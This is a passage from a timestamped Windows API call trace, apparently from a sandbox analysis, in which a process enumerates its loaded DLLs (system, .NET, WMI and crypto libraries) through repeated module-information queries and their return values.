hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0057.319] GetLastError () returned 0x2 [0057.319] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0057.319] GetLastError () returned 0x2 [0057.320] GetModuleInformation (in: hProcess=0x514, hModule=0x75150000, lpmodinfo=0x2758c28, cb=0xc | out: lpmodinfo=0x2758c28*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0057.320] GetLastError () returned 0x2 [0057.320] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0057.320] GetLastError () returned 0x2 [0057.320] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0057.321] GetLastError () returned 0x2 [0057.321] GetModuleInformation (in: hProcess=0x514, hModule=0x74a90000, lpmodinfo=0x2759d1c, cb=0xc | out: lpmodinfo=0x2759d1c*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0057.321] GetLastError () returned 0x2 [0057.321] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0057.322] GetLastError () returned 0x2 [0057.322] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0057.322] GetLastError () returned 0x2 [0057.322] GetModuleInformation (in: hProcess=0x514, hModule=0x74000000, lpmodinfo=0x275ae18, cb=0xc | out: lpmodinfo=0x275ae18*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0057.323] GetLastError () returned 0x2 [0057.323] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0057.323] GetLastError () returned 0x2 [0057.323] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0057.324] GetLastError () returned 0x2 [0057.324] GetModuleInformation (in: hProcess=0x514, hModule=0x749f0000, lpmodinfo=0x275bf50, cb=0xc | out: lpmodinfo=0x275bf50*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0057.324] GetLastError () returned 0x2 [0057.324] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0057.325] GetLastError () returned 0x2 [0057.325] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0057.325] GetLastError () returned 0x2 [0057.326] GetModuleInformation (in: hProcess=0x514, hModule=0x75fd0000, lpmodinfo=0x275d0e4, cb=0xc | out: lpmodinfo=0x275d0e4*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0057.326] GetLastError () returned 0x2 [0057.326] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0057.326] GetLastError () returned 0x2 [0057.327] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0057.327] GetLastError () returned 0x2 [0057.327] GetModuleInformation (in: hProcess=0x514, hModule=0x755e0000, lpmodinfo=0x275e1e0, cb=0xc | out: lpmodinfo=0x275e1e0*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0057.328] GetLastError () returned 0x2 [0057.328] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0057.328] GetLastError () returned 0x2 [0057.328] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0057.329] GetLastError () returned 0x2 [0057.329] GetModuleInformation (in: hProcess=0x514, hModule=0x749e0000, lpmodinfo=0x275f2d4, cb=0xc | out: lpmodinfo=0x275f2d4*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0057.329] GetLastError () returned 0x2 [0057.329] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0057.330] GetLastError () returned 0x2 [0057.330] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0057.330] GetLastError () returned 0x2 [0057.330] GetModuleInformation (in: hProcess=0x514, hModule=0x729c0000, lpmodinfo=0x27603d0, cb=0xc | out: lpmodinfo=0x27603d0*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0057.331] GetLastError () returned 0x2 [0057.331] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0057.332] GetLastError () returned 0x2 [0057.332] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0057.332] GetLastError () returned 0x2 [0057.332] GetModuleInformation (in: hProcess=0x514, hModule=0x745d0000, lpmodinfo=0x2761568, cb=0xc | out: lpmodinfo=0x2761568*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0057.333] GetLastError () returned 0x2 [0057.333] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0057.333] GetLastError () returned 0x2 [0057.333] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0057.334] GetLastError () returned 0x2 [0057.334] GetModuleInformation (in: hProcess=0x514, hModule=0x747d0000, lpmodinfo=0x2762664, cb=0xc | out: lpmodinfo=0x2762664*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0057.334] GetLastError () returned 0x2 [0057.335] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0057.335] GetLastError () returned 0x2 [0057.335] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0057.336] GetLastError () returned 0x2 [0057.336] GetModuleInformation (in: hProcess=0x514, hModule=0x74790000, lpmodinfo=0x2763760, cb=0xc | out: lpmodinfo=0x2763760*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0057.336] GetLastError () returned 0x2 [0057.336] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0057.337] GetLastError () returned 0x2 [0057.337] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0057.338] GetLastError () returned 0x2 [0057.338] GetModuleInformation (in: hProcess=0x514, hModule=0x74920000, lpmodinfo=0x276485c, cb=0xc | out: lpmodinfo=0x276485c*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0057.338] GetLastError () returned 0x2 [0057.338] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0057.339] GetLastError () returned 0x2 [0057.339] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0057.339] GetLastError () returned 0x2 [0057.340] GetModuleInformation (in: hProcess=0x514, hModule=0x71a80000, lpmodinfo=0x2765994, cb=0xc | out: lpmodinfo=0x2765994*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0057.340] GetLastError () returned 0x2 [0057.340] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0057.341] GetLastError () returned 0x2 [0057.341] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0057.341] GetLastError () returned 0x2 [0057.342] GetModuleInformation (in: hProcess=0x514, hModule=0x73e70000, lpmodinfo=0x2766b20, cb=0xc | out: lpmodinfo=0x2766b20*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0057.342] GetLastError () returned 0x2 [0057.342] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0057.343] GetLastError () returned 0x2 [0057.343] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0057.344] GetLastError () returned 0x2 [0057.344] GetModuleInformation (in: hProcess=0x514, hModule=0x70ea0000, lpmodinfo=0x2767cdc, cb=0xc | out: lpmodinfo=0x2767cdc*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0057.344] GetLastError () returned 0x2 [0057.344] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0057.345] GetLastError () returned 0x2 [0057.345] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0057.346] GetLastError () returned 0x2 [0057.346] GetModuleInformation (in: hProcess=0x514, hModule=0x73cd0000, lpmodinfo=0x2768fcc, cb=0xc | out: lpmodinfo=0x2768fcc*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0057.346] GetLastError () returned 0x2 [0057.346] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0057.347] GetLastError () returned 0x2 [0057.347] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0057.348] GetLastError () returned 0x2 [0057.348] GetModuleInformation (in: hProcess=0x514, hModule=0x749c0000, lpmodinfo=0x276a1b0, cb=0xc | out: lpmodinfo=0x276a1b0*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0057.348] GetLastError () returned 0x2 [0057.348] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0057.349] GetLastError () returned 0x2 [0057.349] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0057.350] GetLastError () returned 0x2 [0057.350] GetModuleInformation (in: hProcess=0x514, hModule=0x749b0000, lpmodinfo=0x276b2ac, cb=0xc | out: lpmodinfo=0x276b2ac*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0057.350] GetLastError () returned 0x2 [0057.350] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0057.351] GetLastError () returned 0x2 [0057.351] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0057.352] GetLastError () returned 0x2 [0057.352] GetModuleInformation (in: hProcess=0x514, hModule=0x752b0000, lpmodinfo=0x276c3b8, cb=0xc | out: lpmodinfo=0x276c3b8*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0057.352] GetLastError () returned 0x2 [0057.352] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0057.353] GetLastError () returned 0x2 [0057.353] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0057.354] GetLastError () returned 0x2 [0057.354] GetModuleInformation (in: hProcess=0x514, hModule=0x75220000, lpmodinfo=0x276d4b4, cb=0xc | out: lpmodinfo=0x276d4b4*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0057.354] GetLastError () returned 0x2 [0057.354] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0057.355] GetLastError () returned 0x2 [0057.355] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0057.356] GetLastError () returned 0x2 [0057.356] GetModuleInformation (in: hProcess=0x514, hModule=0x748e0000, lpmodinfo=0x276e5b8, cb=0xc | out: lpmodinfo=0x276e5b8*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0057.356] GetLastError () returned 0x2 [0057.357] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0057.357] GetLastError () returned 0x2 [0057.357] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0057.358] GetLastError () returned 0x2 [0057.358] GetModuleInformation (in: hProcess=0x514, hModule=0x74880000, lpmodinfo=0x276f6c4, cb=0xc | out: lpmodinfo=0x276f6c4*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0057.359] GetLastError () returned 0x2 [0057.359] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0057.359] GetLastError () returned 0x2 [0057.359] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0057.360] GetLastError () returned 0x2 [0057.360] GetModuleInformation (in: hProcess=0x514, hModule=0x75bc0000, lpmodinfo=0x27707c8, cb=0xc | out: lpmodinfo=0x27707c8*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0057.361] GetLastError () returned 0x2 [0057.361] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0057.362] GetLastError () returned 0x2 [0057.362] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0057.362] GetLastError () returned 0x2 [0057.362] GetModuleInformation (in: hProcess=0x514, hModule=0x74d30000, lpmodinfo=0x27718c4, cb=0xc | out: lpmodinfo=0x27718c4*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0057.363] GetLastError () returned 0x2 [0057.363] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0057.364] GetLastError () returned 0x2 [0057.364] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0057.365] GetLastError () returned 0x2 [0057.365] GetModuleInformation (in: hProcess=0x514, hModule=0x749a0000, lpmodinfo=0x27729b0, cb=0xc | out: lpmodinfo=0x27729b0*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0057.365] GetLastError () returned 0x2 [0057.365] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0057.366] GetLastError () returned 0x2 [0057.366] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0057.367] GetLastError () returned 0x2 [0057.367] GetModuleInformation (in: hProcess=0x514, hModule=0x74980000, lpmodinfo=0x2773abc, cb=0xc | out: lpmodinfo=0x2773abc*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0057.368] GetLastError () returned 0x2 [0057.368] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0057.369] GetLastError () returned 0x2 [0057.369] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0057.369] GetLastError () returned 0x2 [0057.369] GetModuleInformation (in: hProcess=0x514, hModule=0x74870000, lpmodinfo=0x2774bc8, cb=0xc | out: lpmodinfo=0x2774bc8*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0057.370] GetLastError () returned 0x2 [0057.370] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0057.371] GetLastError () returned 0x2 [0057.371] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0057.372] GetLastError () returned 0x2 [0057.372] GetModuleInformation (in: hProcess=0x514, hModule=0x73c30000, lpmodinfo=0x2775cd0, cb=0xc | out: lpmodinfo=0x2775cd0*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0057.372] GetLastError () returned 0x2 [0057.373] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0057.373] GetLastError () returned 0x2 [0057.373] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0057.374] GetLastError () returned 0x2 [0057.374] GetModuleInformation (in: hProcess=0x514, hModule=0x74850000, lpmodinfo=0x2776ddc, cb=0xc | out: lpmodinfo=0x2776ddc*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0057.375] GetLastError () returned 0x2 [0057.375] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0057.376] GetLastError () returned 0x2 [0057.376] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0057.377] GetLastError () returned 0x2 [0057.377] GetModuleInformation (in: hProcess=0x514, hModule=0x747f0000, lpmodinfo=0x2777ed8, cb=0xc | out: lpmodinfo=0x2777ed8*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0057.377] GetLastError () returned 0x2 [0057.378] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0057.378] GetLastError () returned 0x2 [0057.378] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0057.379] GetLastError () returned 0x2 [0057.379] GetModuleInformation (in: hProcess=0x514, hModule=0x74750000, lpmodinfo=0x2778fc4, cb=0xc | out: lpmodinfo=0x2778fc4*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0057.380] GetLastError () returned 0x2 [0057.380] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0057.381] GetLastError () returned 0x2 [0057.381] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0057.382] GetLastError () returned 0x2 [0057.382] GetModuleInformation (in: hProcess=0x514, hModule=0x60350000, lpmodinfo=0x277a18c, cb=0xc | out: lpmodinfo=0x277a18c*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0057.383] GetLastError () returned 0x2 [0057.383] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0057.383] GetLastError () returned 0x2 [0057.383] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0057.384] GetLastError () returned 0x2 [0057.384] GetModuleInformation (in: hProcess=0x514, hModule=0x73b20000, lpmodinfo=0x277b314, cb=0xc | out: lpmodinfo=0x277b314*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0057.385] GetLastError () returned 0x2 [0057.385] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0057.386] GetLastError () returned 0x2 [0057.386] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0057.387] GetLastError () returned 0x2 [0057.387] GetModuleInformation (in: hProcess=0x514, hModule=0x6a310000, lpmodinfo=0x277c4e4, cb=0xc | out: lpmodinfo=0x277c4e4*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0057.388] GetLastError () returned 0x2 [0057.388] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wminet_utils.dll") returned 0x10 [0057.389] GetLastError () returned 0x2 [0057.389] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0057.390] GetLastError () returned 0x2 [0057.390] GetModuleInformation (in: hProcess=0x514, hModule=0x745b0000, lpmodinfo=0x277d62c, cb=0xc | out: lpmodinfo=0x277d62c*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0057.391] GetLastError () returned 0x2 [0057.391] GetModuleBaseNameW (in: 